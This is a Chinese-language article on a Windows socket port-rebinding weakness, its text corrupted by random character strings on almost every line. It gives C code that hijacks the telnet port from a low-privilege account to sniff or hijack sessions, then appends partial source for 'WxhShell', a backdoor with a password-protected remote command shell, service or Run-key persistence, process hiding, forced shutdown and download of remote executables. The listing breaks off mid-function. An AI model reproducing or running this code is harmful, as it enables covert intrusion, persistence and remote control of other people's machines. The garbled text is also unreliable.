在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4wMKl6mL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}O5c.3 0b~5i-zM/ saddr.sin_family = AF_INET;
SpjL\ p0 Iz!Blk saddr.sin_addr.s_addr = htonl(INADDR_ANY);
B {f&'1pp/ L5of(gQ5] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
EM;]dLh u0#q)L8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2|kx:^D p qA#!3< 这意味着什么?意味着可以进行如下的攻击:
kOx2P(UAEx ZVVK:dDgt 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
]f-< s,@ =MRg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
W !2(Ph* 9] Uvy| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Bj;Fy9[yb PDzVXLpC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
s==gjA e: [9~Bau 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}*hY#jo1 @T|mHfQ8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?msx 6*/0 yGij 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kf~ D m}bV {(Drw~/@ #include
[>oq~[e)? #include
j$n[;\]n #include
wz$1^ml #include
/^
hB6_'D DWORD WINAPI ClientThread(LPVOID lpParam);
yfnqu4Cn int main()
uK="#1z cC {
+kd88Fx WORD wVersionRequested;
e$4 5 OL DWORD ret;
959&I0=g" WSADATA wsaData;
J}hi)k BOOL val;
S`5^H~ SOCKADDR_IN saddr;
+D* b!5[ SOCKADDR_IN scaddr;
2N9
BI-a int err;
pe Y( 4# SOCKET s;
W0K&mBu SOCKET sc;
SVpvx`&kT int caddsize;
6cb;iA HANDLE mt;
kb Fr DWORD tid;
$oHlfV/! wVersionRequested = MAKEWORD( 2, 2 );
^GB9!d. err = WSAStartup( wVersionRequested, &wsaData );
sFC&DTb? if ( err != 0 ) {
6,7Fl=< printf("error!WSAStartup failed!\n");
/RT3r return -1;
Xl.h&x0?
8 }
@c,}\"( saddr.sin_family = AF_INET;
XD<7d")I cwlXb!S$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
O{,Uge2n, _~d C>`K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Y
[0S saddr.sin_port = htons(23);
BBm.;=8@ ^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<fC gU& {
t7H2z}06=h printf("error!socket failed!\n");
cmmH)6c> return -1;
@f{yx\u/ }
KN'l/9. val = TRUE;
Vrf2%$g //SO_REUSEADDR选项就是可以实现端口重绑定的
eOt T* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
no?TEXp* {
f"~+mO printf("error!setsockopt failed!\n");
+M/04 return -1;
A=o
p R }
&kB[jz_[A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
i44UqEb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
7v}4 Pl,$4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
J/pW*G-U| 2^Tj7@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&n|#jo(gS {
h6c8hp. ret=GetLastError();
?C(Z\"IX printf("error!bind failed!\n");
Ro*$7j0!Hf return -1;
4tz8^z[Kw }
HWxk>F0 listen(s,2);
Oj:O-PtN2 while(1)
`zAV# {
l!ltgj caddsize = sizeof(scaddr);
Hv>A$x$q //接受连接请求
6]Q
~c"+5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!bFa\6]q if(sc!=INVALID_SOCKET)
h6}oRz9=g {
B!K{y>|. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
N#Bg`:! if(mt==NULL)
)#l &F$ {
hun
LV8z printf("Thread Creat Failed!\n");
a5{CkM&,( break;
#m1e_[ }
UB@>i3 }
6|r`
k75. CloseHandle(mt);
(pm]U7 }
Z'6
o$Xv closesocket(s);
#\"8sY,j WSACleanup();
Y.sf^} return 0;
Unc;@=c }
L`cc2.F DWORD WINAPI ClientThread(LPVOID lpParam)
7=N=J<]pl {
^QTl (L SOCKET ss = (SOCKET)lpParam;
;LELC5[*s SOCKET sc;
yHLclv unsigned char buf[4096];
E B)j&y_ SOCKADDR_IN saddr;
&STgj|t_ long num;
H6 ( ~6Bp5 DWORD val;
B<
P H7 DWORD ret;
d~tG#<^` //如果是隐藏端口应用的话,可以在此处加一些判断
k[R/RhHQ, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zkYlIUD saddr.sin_family = AF_INET;
g-U'{I5F saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
O?p.kf{b saddr.sin_port = htons(23);
Mc oHV]x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p+@Wh3 {
)p4o4aM printf("error!socket failed!\n");
a"&@G=M@d return -1;
"tBdz V }
2GLq#")P val = 100;
9-eYCg7C| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lSC3m=4g {
?q1&(g]qO ret = GetLastError();
UTc$zc7 return -1;
ca*USM }
ndT:,"s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6*cm {
g3 6oEz~| ret = GetLastError();
8Y3c,p/gS> return -1;
;Jr6 }
eft-]c+*0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{H#1wu^]O$ {
YiB]}/ printf("error!socket connect failed!\n");
hi"[R@UG closesocket(sc);
"Y}f"X| closesocket(ss);
?t$sju(\ return -1;
X?z5IL;rt }
zLc.4k while(1)
l %=yT6 {
Y}7'OM //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
LN
]ks) //如果是嗅探内容的话,可以再此处进行内容分析和记录
+2O('}t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ag]b]K num = recv(ss,buf,4096,0);
e]!Vxn3 if(num>0)
%h=)>5-T send(sc,buf,num,0);
kXzm else if(num==0)
kV!0cLH!hH break;
Nt,)5_K < num = recv(sc,buf,4096,0);
p/
pVMR if(num>0)
M(HU^?B{' send(ss,buf,num,0);
yBE1mA:x7: else if(num==0)
f)H6 nl7r break;
~mOGNf?f }
ji?0;2Y closesocket(ss);
-Cd4yWkO closesocket(sc);
8[Cp return 0 ;
%/>\`d? }
+"Ih'bb`j bITOA v Q[{<|K ==========================================================
7Gnslp?[U %eGxQDIXg 下边附上一个代码,,WXhSHELL
0{F"b'h `I ,A7b ==========================================================
yA?>v'K xr&wV0O'
#include "stdafx.h"
H/Cv ?GJF JaKR#Y$+~ #include <stdio.h>
bYQ h{q #include <string.h>
V.)y7B #include <windows.h>
@;qC% +^ #include <winsock2.h>
{S%)GvrT #include <winsvc.h>
yT`[9u, #include <urlmon.h>
/%po@Pm#I Wy@Z)z? #pragma comment (lib, "Ws2_32.lib")
q~p,A>K #pragma comment (lib, "urlmon.lib")
"h_]it};C zwR@^ 5^6 #define MAX_USER 100 // 最大客户端连接数
Wv_5sPqLW #define BUF_SOCK 200 // sock buffer
t>7t4>X #define KEY_BUFF 255 // 输入 buffer
"Ol;0>$ %1gJOV #define REBOOT 0 // 重启
bW;0E%_ #define SHUTDOWN 1 // 关机
)&1yt4
x6% N[^%| #define DEF_PORT 5000 // 监听端口
9Re605xQ6 d8<Lk9H9R #define REG_LEN 16 // 注册表键长度
bv;&oc:r #define SVC_LEN 80 // NT服务名长度
6#T?g7\pyR |w- tkkS // 从dll定义API
[6V'UI6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?=jmyDXH! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b5Rjn1@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
$Rv}L' L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?Pw#!t V[wEn9
// wxhshell配置信息
P{)H7B> struct WSCFG {
*U.$=4Az int ws_port; // 监听端口
bv9\Jp0c char ws_passstr[REG_LEN]; // 口令
jec03wH_0 int ws_autoins; // 安装标记, 1=yes 0=no
]/p0j$Tq$ char ws_regname[REG_LEN]; // 注册表键名
k^Tu9}[W1 char ws_svcname[REG_LEN]; // 服务名
O}NR{B0B3& char ws_svcdisp[SVC_LEN]; // 服务显示名
{*~aVw {k char ws_svcdesc[SVC_LEN]; // 服务描述信息
ItDe_|!L char ws_passmsg[SVC_LEN]; // 密码输入提示信息
583ej2HPg int ws_downexe; // 下载执行标记, 1=yes 0=no
#jd?ocoY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,a?)#X char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_Jk-nZgn HQ7-,!XO };
vF;6Y(h> tirw{[X0n // default Wxhshell configuration
[T"oqO4%] struct WSCFG wscfg={DEF_PORT,
^8.R 'Yq "xuhuanlingzhe",
Tr)a6Cf 1,
l"}W $3]u$ "Wxhshell",
z~4L=tA( "Wxhshell",
^c< <I-o| "WxhShell Service",
?Ee?Ol?i2 "Wrsky Windows CmdShell Service",
(*&6XTV( "Please Input Your Password: ",
-4,qAnuMx 1,
*D~@xypy "
http://www.wrsky.com/wxhshell.exe",
q\O'r[&V "Wxhshell.exe"
E?y0UD[8J };
3
C=nC _8\Uukm // 消息定义模块
kOVx]= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
C+P}R]cT" char *msg_ws_prompt="\n\r? for help\n\r#>";
VPys char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ZgtW char *msg_ws_ext="\n\rExit.";
4@5rR~DQq char *msg_ws_end="\n\rQuit.";
$Pzvv`f* char *msg_ws_boot="\n\rReboot...";
wC!(STu char *msg_ws_poff="\n\rShutdown...";
a: iIfdd4' char *msg_ws_down="\n\rSave to ";
hOfd<k\A +hY/4Tx< char *msg_ws_err="\n\rErr!";
gwThhwR char *msg_ws_ok="\n\rOK!";
U'" ; 6TfL|W< char ExeFile[MAX_PATH];
jt"p Js' int nUser = 0;
eWqJ 2Tt HANDLE handles[MAX_USER];
bsM`C]h& int OsIsNt;
Br]VCp X_HR$il SERVICE_STATUS serviceStatus;
hz Vpv,|G SERVICE_STATUS_HANDLE hServiceStatusHandle;
PHDKx+$ 3, ,Z // 函数声明
$7TYix8= int Install(void);
uP|AP int Uninstall(void);
Vt
n$*ML int DownloadFile(char *sURL, SOCKET wsh);
;ZjQy,H% int Boot(int flag);
RduA0@g0 void HideProc(void);
~W5fJd0 int GetOsVer(void);
IAnY+=^ int Wxhshell(SOCKET wsl);
,U>g LTS void TalkWithClient(void *cs);
#$jAGt3^BT int CmdShell(SOCKET sock);
[+{ ot
int StartFromService(void);
/Ia=/Jj7N int StartWxhshell(LPSTR lpCmdLine);
n+zXt?{u
TnM}|~V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+/\.%S/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
=!U{vT V QPq+78 // 数据结构和表定义
w#Nn(!VR SERVICE_TABLE_ENTRY DispatchTable[] =
~Ufcy{x# {
+;Cq>1x, {wscfg.ws_svcname, NTServiceMain},
&HFMF)NA {NULL, NULL}
#%k5s?cP@ };
t=XiSj\n l3-KswU // 自我安装
Fj 1/B0acS int Install(void)
'(2G qX! {
|+!Jr_ By char svExeFile[MAX_PATH];
^%go\ C ; HKEY key;
=:~~RqHl strcpy(svExeFile,ExeFile);
@#VxjXW^ "~]9}KM}3W // 如果是win9x系统,修改注册表设为自启动
Ma-^o<{ if(!OsIsNt) {
2(\>PN- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`~@BU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
LE1&atq RegCloseKey(key);
k B2+ Tr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jf/;`br RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D-ug$ZRg RegCloseKey(key);
a2dF(H
return 0;
.4_~ku }
WNm,r>6m }
S_?}H }
>:OOuf# else {
YI%7#L7C Oq+C<}eg // 如果是NT以上系统,安装为系统服务
((.PPOdJV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gl]{mUZz} if (schSCManager!=0)
%*|XN*i XC {
yc%AkhX* SC_HANDLE schService = CreateService
14oD^`-t (
fD,#z& schSCManager,
C,tlp wscfg.ws_svcname,
>kC@7h5) wscfg.ws_svcdisp,
]NTHit^EX SERVICE_ALL_ACCESS,
kdxs{b"t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,wX/cUyZ
SERVICE_AUTO_START,
.WyI.Y1 SERVICE_ERROR_NORMAL,
HD=WHT& svExeFile,
_$cQAH0 E NULL,
1-w1k^e NULL,
#7Qn\C2 NULL,
]t(g7lc}U NULL,
4RTEXoXs NULL
!vImmhI!I );
W!IK>IW" if (schService!=0)
F>^k<E?,C {
U,Z(h CloseServiceHandle(schService);
IDLA-Vxo CloseServiceHandle(schSCManager);
s)]|zu0"Ku strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
OmU.9PDg- strcat(svExeFile,wscfg.ws_svcname);
;yHA.} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
CuuHRvU8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<&H.pN1_ RegCloseKey(key);
cG"jrQ return 0;
`uzRHbJ` }
kx'6FkZPIr }
.@B\&U7 CloseServiceHandle(schSCManager);
u;=("S{"0 }
<#`<Ys3b*! }
pMX7Rl
@&,r|- return 1;
X-n'?= }
m1+DeXR_g NiWooFPKJ // 自我卸载
RCxqqUS\C int Uninstall(void)
jRgv
8n {
Q|pz].0 HKEY key;
o^7NZ]m 'BUdySng if(!OsIsNt) {
^]aDLjD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P6IhpB59 RegDeleteValue(key,wscfg.ws_regname);
YdeSJ(: RegCloseKey(key);
dX+DE(y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q@d X2 RegDeleteValue(key,wscfg.ws_regname);
(5Cm+Sy RegCloseKey(key);
$]Fe9E? return 0;
jq}5(*k }
={z YcVI }
-sc@SoS }
hKX-]+6" else {
C
#TS Nk^#Sa? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u!g<y if (schSCManager!=0)
VK$+Nm) {
0'L+9T5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i(U*<1y if (schService!=0)
rRsLl/d {
u_:"
u if(DeleteService(schService)!=0) {
0Q>Yoa
11 CloseServiceHandle(schService);
h V=)T^Q CloseServiceHandle(schSCManager);
:k(aH Ua return 0;
$9hOWti }
T[<9Ty'^ CloseServiceHandle(schService);
"G4{;!0C }
1h)I&T"kZ CloseServiceHandle(schSCManager);
,Zs-<e" }
:[AW }
0eUsvzz15 B}*xrPj return 1;
?]sj!7 }
e%UFY-2 W6wgX0H // 从指定url下载文件
>L=l{F6
p int DownloadFile(char *sURL, SOCKET wsh)
Y|1kE; {
MNJ$/l)h HRESULT hr;
L0uN|?} char seps[]= "/";
BJ{mX>I( char *token;
N %0F[sY6 char *file;
8G{} r char myURL[MAX_PATH];
:r#FI".qx char myFILE[MAX_PATH];
a2p<HW;)m (wbG0lu strcpy(myURL,sURL);
O<o_MZN token=strtok(myURL,seps);
&4BN9`|: while(token!=NULL)
'z+8;g.ekO {
>i`'e~% file=token;
tK]r>?Y\ token=strtok(NULL,seps);
WH'[~O }
A\z[/3& RK %2qvK} GetCurrentDirectory(MAX_PATH,myFILE);
)8LCmvQ strcat(myFILE, "\\");
dq|z;,` strcat(myFILE, file);
JO1c9NyKr send(wsh,myFILE,strlen(myFILE),0);
.\1XR send(wsh,"...",3,0);
NFc<%#H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.!=g if(hr==S_OK)
1Rwk}wL return 0;
n]_8!NU else
<K 4zH<y return 1;
w"A'uFXLc 5N '
QG<jE }
c
t,p?[Q !@ bN // 系统电源模块
YFsEuaV int Boot(int flag)
m:
w/[|_ {
:Fm+X[n HANDLE hToken;
Pm;"Y!S< TOKEN_PRIVILEGES tkp;
#ljfcQm Yo:>m*31 if(OsIsNt) {
uZW1
:cx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
H\)on" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ym0Xl(Se tkp.PrivilegeCount = 1;
6K*7%8Y/G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{]|};E[}m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
m qtl0P0 if(flag==REBOOT) {
kS+*@o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)2FS9h.t return 0;
g!aM-B^C }
}R.cqk\qa^ else {
#nn2odR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|4wVWJ7 return 0;
e9N 1xB }
O7q-MeMM }
tS`fG; else {
xB
4A"| if(flag==REBOOT) {
KWhw@y-5j@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
eGnc6)x@C return 0;
0} HKmEM }
knF *~O :y else {
#CVD:p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*gZ4Ub|O return 0;
*crpM3fO> }
WvNX%se]3 }
QbpRSdxy`$ m", $M> return 1;
DhkzVp_ }
d<: VoQM6M {v~&.| // win9x进程隐藏模块
8ae]tX5$ void HideProc(void)
q6/ o.j {
}^P( p?~ -Z]?v3
9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[YJP if ( hKernel != NULL )
7c<2oTN' {
TvMY\e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}GQ8|fg`U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
j'CRm5O FreeLibrary(hKernel);
' J]V"Z) }
>l'QX( _Z5l
Nu return;
uVOOw&q_ }
0.|tKetHq sDWX} NV // 获取操作系统版本
_vvnxG!x& int GetOsVer(void)
h^34{pKDn {
hRGK W OSVERSIONINFO winfo;
c9iCH~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#).om*Xh GetVersionEx(&winfo);
/3rt]h" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3}n=o d= return 1;
WynHcxC else
;c<:"ad( return 0;
JTl
37j }
,Ea.ts>
0qZ{:}`3 // 客户端句柄模块
t'0r4&\ int Wxhshell(SOCKET wsl)
U}7$:hO"dX {
\wO)w@" SOCKET wsh;
8R8J./i.K struct sockaddr_in client;
5GT,:0 DWORD myID;
ZK3?"|vhC ~"brfjd| while(nUser<MAX_USER)
hSr#/d w& {
p;BdzV> int nSize=sizeof(client);
4$d|}ajH wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
d/Fjs0pt if(wsh==INVALID_SOCKET) return 1;
`;5UlkVZ5 az0( 54M handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?nj _gL if(handles[nUser]==0)
j08|zUe closesocket(wsh);
|5$9l#e else
#y}@FG nUser++;
#C4 }
0>VgO{X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
k`2 K?9\ M_$pqVm return 0;
Lg_y1Mu7o }
9?bfZF4A= BalOph4M[ // 关闭 socket
B,|M
void CloseIt(SOCKET wsh)
aztP`S$h {
m->
chOu~| closesocket(wsh);
:h*20iP nUser--;
-5kq9Dy\, ExitThread(0);
sVaWg?=qs' }
<`*6;j.& u =#LY$ // 客户端请求句柄
(= uwx# void TalkWithClient(void *cs)
?GB($D=Y'& {
cV)fe`Gg ,t61IU3" SOCKET wsh=(SOCKET)cs;
]Fl+^aLS char pwd[SVC_LEN];
1:q55!b char cmd[KEY_BUFF];
!z58,hv char chr[1];
!0 *=z~ int i,j;
=EsKFt" B;hc|v{( while (nUser < MAX_USER) {
0%`\8 f9&D0x? if(wscfg.ws_passstr) {
Mwp#.du( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xgsD<3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bq<QUw=]q& //ZeroMemory(pwd,KEY_BUFF);
"p2 $R*ie i=0;
v#YO3nD while(i<SVC_LEN) {
X
f!Bsp#\g RZm5[n // 设置超时
0MrtJNF]_O fd_set FdRead;
-H'_%~OV( struct timeval TimeOut;
c@5fiRPv! FD_ZERO(&FdRead);
7 fqK{^L FD_SET(wsh,&FdRead);
wL5IAkq TimeOut.tv_sec=8;
ch
\*/ TimeOut.tv_usec=0;
;&;coH8` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S)@R4{=e"V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>:Xzv /$&~0pk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
a%*W^R9Ls pwd
=chr[0]; Qj[4gN?}=
if(chr[0]==0xd || chr[0]==0xa) { 3`IDm5
pwd=0; L~I<y;x
break; /PQg>Pa85
} .eK1xwhJ
i++; i
"62+
} 4h:Oo
G/2@Mn-
// 如果是非法用户,关闭 socket m*CIbkDsZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VGWqy4m
} ,'={/)c<
~;wSe[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1K09iB
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8T$:^HW
gC<\1AIu
while(1) { [)Xu60?Q
pWbzBgM?nU
ZeroMemory(cmd,KEY_BUFF); iDp]lu
zdU<]ge
// 自动支持客户端 telnet标准 "MM7qV
j=0; mK@\6GOMYP
while(j<KEY_BUFF) { 5(u7b
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q6\z]8)
cmd[j]=chr[0]; '[`.&-;
if(chr[0]==0xa || chr[0]==0xd) { +CX2W('
cmd[j]=0; F@"Xd9q?
break; SO]x^+[
} jWUN~#p!
j++; u?Iop/b
} +g7Iu! cA
a%Mbq;
// 下载文件 K34ca-~
if(strstr(cmd,"http://")) { ;# {XNq<1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [WY
NA-O
if(DownloadFile(cmd,wsh)) _
nS';48
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Jh!B|
else <*2.B~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ehOF@IA_
} D3;^!ln]D
else { Ibd7[A\
AG/nX?u7)t
switch(cmd[0]) { w+2:eFi=/
7.8ukAud
// 帮助 RTH dL
case '?': { [^1;8Tbk
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kxThtjgv
break; wf6ZzG:
} @>(l}5U5
// 安装 1S
0GjR
case 'i': { ,;GWn
if(Install()) @ DU]XKv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uc<B)7{'
else xO"5bj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tG^Oj:
break; }\*dD2qNL}
} czdNqk.kh
// 卸载 0O!%NL[,
case 'r': { W{=>c/
if(Uninstall()) W%Br%VQJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); frc>0\
else E88_15'3D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e_\4(4x
break; |~8iNcIS
} ~Jp\'P7*
// 显示 wxhshell 所在路径 8
E.u3eS
case 'p': { 7I(Sa?D:
char svExeFile[MAX_PATH]; ,5t.0XqS
strcpy(svExeFile,"\n\r"); i\},
strcat(svExeFile,ExeFile); H.O7Y
send(wsh,svExeFile,strlen(svExeFile),0); JAmv 7GL'6
break; 76zi)f1f
} &q``CCOF&
// 重启 %mtW-drv>
case 'b': { )nQpO"+M
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @6h=O`X>
if(Boot(REBOOT)) "%qGcC8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A}H)ojG'v
else { N$:[`,
closesocket(wsh); Z^>3}\_v
ExitThread(0); wH{lp/
} c 6E@+xU
break; JgYaA*1X
} KB*[b
// 关机 #E{OOcM
case 'd': { ldI;DoE#U1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G?'L1g[lc
if(Boot(SHUTDOWN)) }4A+J"M4y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m`4Sp#m
else { M6pGf_qt
closesocket(wsh); {hZ_f3o
ExitThread(0); M2my>
} $LF zpg
break; @"'1"$
} y?CEV-3+
// 获取shell 19bP0y
case 's': { ,t*#o&+
CmdShell(wsh); fo4j^,`
closesocket(wsh); VAsaJ`vcb
ExitThread(0); 'WxcA)z0cQ
break; l_ >^LFOA
} /3'-+bp^=
// 退出 WP2|0ib
case 'x': { l)a]V]oQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6yv*AmFh
CloseIt(wsh); ,%v
break; ASR"<]
} xh_6@}D2J
// 离开 :T5l0h-eC
case 'q': { PZeVjL?E
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }`h)+Im=
closesocket(wsh); ^3*/x%A,g
WSACleanup(); |a3)U%rUEQ
exit(1); )z2Tm4>iql
break; \96?OCdr
} D0lgKQ
} `:-{8Vo7
} L*D-RYW
z"=#<C
// 提示信息 C;G~_if4PR
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WnvuB.(@3
} efl6U/'Ij
} pWO,yxr:
o*'J8El\y^
return; l?pZdAE
} ,DXNq`24
&>*fJ
// shell模块句柄 wu/]M~XwI
int CmdShell(SOCKET sock) |9~{&<^X
{ F1w~f
<
STARTUPINFO si; UccnQZ7/I
ZeroMemory(&si,sizeof(si)); q 1Rk'k4+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]wER&/v"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8QXxRD;0:
PROCESS_INFORMATION ProcessInfo; UfOF's_'<
char cmdline[]="cmd"; B9>3xxp(by
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z )a8
^]`
return 0; ]y2(ZTNTs
} R1 hb-
7t0\}e
// 自身启动模式 mxGa\{D#y
int StartFromService(void) hg]\~#&-
{ N&-d8[~
typedef struct l`[*b_
Xt
{ B&O931E7
DWORD ExitStatus; m%qah>11
DWORD PebBaseAddress; ^z"90-V^
DWORD AffinityMask; ,l.O @
